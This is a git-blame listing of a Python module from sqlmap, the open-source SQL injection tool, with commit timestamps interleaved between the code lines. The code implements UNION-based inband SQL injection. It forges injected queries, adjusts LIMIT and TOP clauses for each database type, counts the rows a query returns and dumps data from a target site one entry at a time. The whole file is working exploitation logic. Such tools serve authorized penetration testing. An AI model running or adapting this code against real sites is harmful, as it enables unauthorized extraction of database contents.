2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$ Id $
2008-10-15 19:38:22 +04:00
2010-10-14 18:41:14 +04:00
Copyright ( c ) 2006 - 2010 sqlmap developers ( http : / / sqlmap . sourceforge . net / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2008-10-15 19:38:22 +04:00
"""
2008-12-10 20:23:07 +03:00
import re
2008-10-15 19:38:22 +04:00
import time
from lib . core . agent import agent
2010-05-13 15:05:35 +04:00
from lib . core . common import calculateDeltaSeconds
2011-01-20 02:06:15 +03:00
from lib . core . common import backend
2010-06-02 16:45:40 +04:00
from lib . core . common import getUnicode
2011-01-12 01:18:47 +03:00
from lib . core . common import initTechnique
2011-01-19 02:02:11 +03:00
from lib . core . common import isNumPosStrValue
2008-12-10 20:23:07 +03:00
from lib . core . common import parseUnionPage
2008-10-15 19:38:22 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2008-12-10 20:23:07 +03:00
from lib . core . data import queries
2010-11-08 12:20:02 +03:00
from lib . core . enums import DBMS
2011-01-12 01:18:47 +03:00
from lib . core . enums import PAYLOAD
2011-01-14 12:45:47 +03:00
from lib . core . exception import sqlmapSyntaxException
2011-01-19 02:02:11 +03:00
from lib . core . settings import FROM_TABLE
2008-10-15 19:38:22 +04:00
from lib . core . unescaper import unescaper
from lib . request . connect import Connect as Request
2008-12-10 20:23:07 +03:00
from lib . utils . resume import resume
2008-10-15 19:38:22 +04:00
2009-04-22 15:48:07 +04:00
reqCount = 0
2008-12-10 20:23:07 +03:00
2011-01-20 01:48:06 +03:00
def configUnion ( char = None , columns = None ) :
def __configUnionChar ( char ) :
if char . isdigit ( ) or char == " NULL " :
conf . uChar = char
elif not char . startswith ( " ' " ) or not char . endswith ( " ' " ) :
conf . uChar = " ' %s ' " % char
2011-01-18 01:57:33 +03:00
2011-01-20 01:48:06 +03:00
def __configUnionCols ( columns ) :
if " - " not in columns or len ( columns . split ( " - " ) ) != 2 :
raise sqlmapSyntaxException , " --union-cols must be a range with hyphon (e.g. 1-10) "
2011-01-18 01:57:33 +03:00
2011-01-20 01:48:06 +03:00
columns = columns . replace ( " " , " " )
conf . uColsStart , conf . uColsStop = columns . split ( " - " )
2011-01-18 01:57:33 +03:00
2011-01-20 01:48:06 +03:00
if not conf . uColsStart . isdigit ( ) or not conf . uColsStop . isdigit ( ) :
raise sqlmapSyntaxException , " --union-cols must be a range of integers "
2011-01-18 01:57:33 +03:00
2011-01-20 01:48:06 +03:00
conf . uColsStart = int ( conf . uColsStart )
conf . uColsStop = int ( conf . uColsStop )
2011-01-18 01:57:33 +03:00
2011-01-20 01:48:06 +03:00
if conf . uColsStart > conf . uColsStop :
errMsg = " --union-cols range has to be from lower to "
errMsg + = " higher number of columns "
raise sqlmapSyntaxException , errMsg
2011-01-18 01:57:33 +03:00
if isinstance ( conf . uChar , basestring ) :
__configUnionChar ( conf . uChar )
elif isinstance ( char , basestring ) :
__configUnionChar ( char )
if isinstance ( conf . uCols , basestring ) :
__configUnionCols ( conf . uCols )
elif isinstance ( columns , basestring ) :
__configUnionCols ( columns )
2011-01-15 15:53:40 +03:00
def unionUse ( expression , direct = False , unescape = True , resetCounter = False , unpack = True , dump = False ) :
2008-10-15 19:38:22 +04:00
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
2011-01-12 01:18:47 +03:00
initTechnique ( PAYLOAD . TECHNIQUE . UNION )
2011-01-19 02:02:11 +03:00
count = None
origExpr = expression
start = time . time ( )
2008-12-10 20:23:07 +03:00
startLimit = 0
2011-01-19 02:02:11 +03:00
stopLimit = None
test = True
value = " "
2008-12-10 20:23:07 +03:00
global reqCount
2010-01-02 05:02:12 +03:00
if resetCounter :
2008-12-10 20:23:07 +03:00
reqCount = 0
2008-10-15 19:38:22 +04:00
# Prepare expression with delimiters
2008-12-10 20:23:07 +03:00
if unescape :
2009-04-22 15:48:07 +04:00
expression = agent . concatQuery ( expression , unpack )
2008-12-10 20:23:07 +03:00
expression = unescaper . unescape ( expression )
2008-10-15 19:38:22 +04:00
2011-01-12 15:01:32 +03:00
if kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . where == 2 and not direct :
2011-01-18 02:43:37 +03:00
_ , _ , _ , _ , _ , expressionFieldsList , expressionFields , _ = agent . getFields ( origExpr )
2008-12-10 20:23:07 +03:00
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
2011-01-20 02:06:15 +03:00
if " FROM " in expression . upper ( ) and ( ( backend . getIdentifiedDbms ( ) not in FROM_TABLE ) or ( backend . getIdentifiedDbms ( ) in FROM_TABLE and not expression . upper ( ) . endswith ( FROM_TABLE [ backend . getIdentifiedDbms ( ) ] ) ) ) and " EXISTS( " not in expression . upper ( ) :
limitRegExp = re . search ( queries [ backend . getIdentifiedDbms ( ) ] . limitregexp . query , expression , re . I )
2011-01-19 02:02:11 +03:00
topLimit = re . search ( " TOP \ s+([ \ d]+) \ s+ " , expression , re . I )
2008-12-10 20:23:07 +03:00
2011-01-20 02:06:15 +03:00
if limitRegExp or ( backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) and topLimit ) :
if backend . getIdentifiedDbms ( ) in ( DBMS . MYSQL , DBMS . PGSQL ) :
limitGroupStart = queries [ backend . getIdentifiedDbms ( ) ] . limitgroupstart . query
limitGroupStop = queries [ backend . getIdentifiedDbms ( ) ] . limitgroupstop . query
2008-12-10 20:23:07 +03:00
if limitGroupStart . isdigit ( ) :
startLimit = int ( limitRegExp . group ( int ( limitGroupStart ) ) )
stopLimit = limitRegExp . group ( int ( limitGroupStop ) )
limitCond = int ( stopLimit ) > 1
2011-01-20 02:06:15 +03:00
elif backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
2011-01-19 02:02:11 +03:00
if limitRegExp :
2011-01-20 02:06:15 +03:00
limitGroupStart = queries [ backend . getIdentifiedDbms ( ) ] . limitgroupstart . query
limitGroupStop = queries [ backend . getIdentifiedDbms ( ) ] . limitgroupstop . query
2009-01-03 02:26:45 +03:00
2011-01-19 02:02:11 +03:00
if limitGroupStart . isdigit ( ) :
startLimit = int ( limitRegExp . group ( int ( limitGroupStart ) ) )
2009-01-03 02:26:45 +03:00
2011-01-19 02:02:11 +03:00
stopLimit = limitRegExp . group ( int ( limitGroupStop ) )
limitCond = int ( stopLimit ) > 1
elif topLimit :
startLimit = 0
stopLimit = int ( topLimit . group ( 1 ) )
limitCond = int ( stopLimit ) > 1
2009-01-03 02:26:45 +03:00
2011-01-20 02:06:15 +03:00
elif backend . getIdentifiedDbms ( ) == DBMS . ORACLE :
2008-12-10 20:23:07 +03:00
limitCond = False
else :
limitCond = True
2008-10-15 19:38:22 +04:00
2008-12-10 20:23:07 +03:00
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond :
if limitRegExp :
stopLimit = int ( stopLimit )
2008-10-15 19:38:22 +04:00
2008-12-10 20:23:07 +03:00
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
2011-01-20 02:06:15 +03:00
if backend . getIdentifiedDbms ( ) in ( DBMS . MYSQL , DBMS . PGSQL ) :
2008-12-10 20:23:07 +03:00
stopLimit + = startLimit
2011-01-20 02:06:15 +03:00
untilLimitChar = expression . index ( queries [ backend . getIdentifiedDbms ( ) ] . limitstring . query )
2008-12-10 20:23:07 +03:00
expression = expression [ : untilLimitChar ]
2008-10-15 19:38:22 +04:00
2011-01-20 02:06:15 +03:00
elif backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
2009-01-03 03:27:04 +03:00
stopLimit + = startLimit
2010-04-30 19:48:40 +04:00
elif dump :
if conf . limitStart :
startLimit = conf . limitStart
if conf . limitStop :
stopLimit = conf . limitStop
2009-01-03 03:27:04 +03:00
2008-12-10 20:23:07 +03:00
if not stopLimit or stopLimit < = 1 :
2011-01-20 02:06:15 +03:00
if backend . getIdentifiedDbms ( ) in FROM_TABLE and expression . upper ( ) . endswith ( FROM_TABLE [ backend . getIdentifiedDbms ( ) ] ) :
2008-12-10 20:23:07 +03:00
test = False
else :
test = True
2008-10-15 19:38:22 +04:00
2010-01-02 05:02:12 +03:00
if test :
2008-12-10 20:23:07 +03:00
# Count the number of SQL query entries output
2011-01-20 02:06:15 +03:00
countFirstField = queries [ backend . getIdentifiedDbms ( ) ] . count . query % expressionFieldsList [ 0 ]
2008-12-10 20:23:07 +03:00
countedExpression = origExpr . replace ( expressionFields , countFirstField , 1 )
if re . search ( " ORDER BY " , expression , re . I ) :
untilOrderChar = countedExpression . index ( " ORDER BY " )
countedExpression = countedExpression [ : untilOrderChar ]
count = resume ( countedExpression , None )
if not stopLimit :
if not count or not count . isdigit ( ) :
output = unionUse ( countedExpression , direct = True )
if output :
count = parseUnionPage ( output , countedExpression )
2011-01-19 02:02:11 +03:00
if isNumPosStrValue ( count ) :
2008-12-10 20:23:07 +03:00
stopLimit = int ( count )
2011-01-19 02:02:11 +03:00
infoMsg = " the SQL query used returns "
2008-12-10 20:23:07 +03:00
infoMsg + = " %d entries " % stopLimit
logger . info ( infoMsg )
2008-12-17 23:11:18 +03:00
elif count and not count . isdigit ( ) :
2011-01-19 02:02:11 +03:00
warnMsg = " it was not possible to count the number "
2010-11-23 18:11:15 +03:00
warnMsg + = " of entries for the used SQL query. "
2008-12-17 23:11:18 +03:00
warnMsg + = " sqlmap will assume that it returns only "
warnMsg + = " one entry "
logger . warn ( warnMsg )
stopLimit = 1
2011-01-19 02:02:11 +03:00
elif ( not count or int ( count ) == 0 ) :
warnMsg = " the SQL query used does not "
2008-12-10 20:23:07 +03:00
warnMsg + = " return any output "
logger . warn ( warnMsg )
2011-01-19 02:02:11 +03:00
return None
2008-12-10 20:23:07 +03:00
2011-01-19 02:02:11 +03:00
elif ( not count or int ( count ) == 0 ) and ( not stopLimit or stopLimit == 0 ) :
warnMsg = " the SQL query used does not "
2008-12-10 20:23:07 +03:00
warnMsg + = " return any output "
logger . warn ( warnMsg )
2011-01-19 02:02:11 +03:00
return None
2008-12-10 20:23:07 +03:00
2011-01-06 12:48:04 +03:00
try :
for num in xrange ( startLimit , stopLimit ) :
2011-01-20 02:06:15 +03:00
if backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
2011-01-19 02:02:11 +03:00
field = expressionFieldsList [ 0 ]
2011-01-20 02:06:15 +03:00
elif backend . getIdentifiedDbms ( ) == DBMS . ORACLE :
2011-01-19 02:02:11 +03:00
field = expressionFieldsList
else :
field = None
limitedExpr = agent . limitQuery ( num , expression , field )
output = resume ( limitedExpr , None )
if not output :
output = unionUse ( limitedExpr , direct = True , unescape = False )
if output :
value + = output
parseUnionPage ( output , limitedExpr )
2011-01-06 12:48:04 +03:00
except KeyboardInterrupt :
print
warnMsg = " Ctrl+C detected in dumping phase "
logger . warn ( warnMsg )
2008-12-10 20:23:07 +03:00
return value
value = unionUse ( expression , direct = True , unescape = False )
else :
# Forge the inband SQL injection request
2011-01-12 04:13:32 +03:00
vector = kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . vector
2011-01-13 12:41:55 +03:00
query = agent . forgeInbandQuery ( expression , vector [ 0 ] , vector [ 1 ] , vector [ 2 ] , vector [ 3 ] , vector [ 4 ] , vector [ 5 ] )
2008-12-10 20:23:07 +03:00
payload = agent . payload ( newValue = query )
# Perform the request
2008-12-18 23:48:23 +03:00
resultPage , _ = Request . queryPage ( payload , content = True )
2008-12-10 20:23:07 +03:00
reqCount + = 1
2010-10-20 03:00:19 +04:00
if kb . misc . start not in resultPage or kb . misc . stop not in resultPage :
2008-12-10 20:23:07 +03:00
return
2008-10-15 19:38:22 +04:00
2008-12-10 20:23:07 +03:00
# Parse the returned page to get the exact inband
# sql injection output
2010-10-20 03:00:19 +04:00
startPosition = resultPage . index ( kb . misc . start )
endPosition = resultPage . rindex ( kb . misc . stop ) + len ( kb . misc . stop )
2010-06-02 16:45:40 +04:00
value = getUnicode ( resultPage [ startPosition : endPosition ] )
2008-10-15 19:38:22 +04:00
2010-05-13 15:05:35 +04:00
duration = calculateDeltaSeconds ( start )
2008-10-15 19:38:22 +04:00
2009-04-22 15:48:07 +04:00
debugMsg = " performed %d queries in %d seconds " % ( reqCount , duration )
logger . debug ( debugMsg )
2008-10-15 19:38:22 +04:00
return value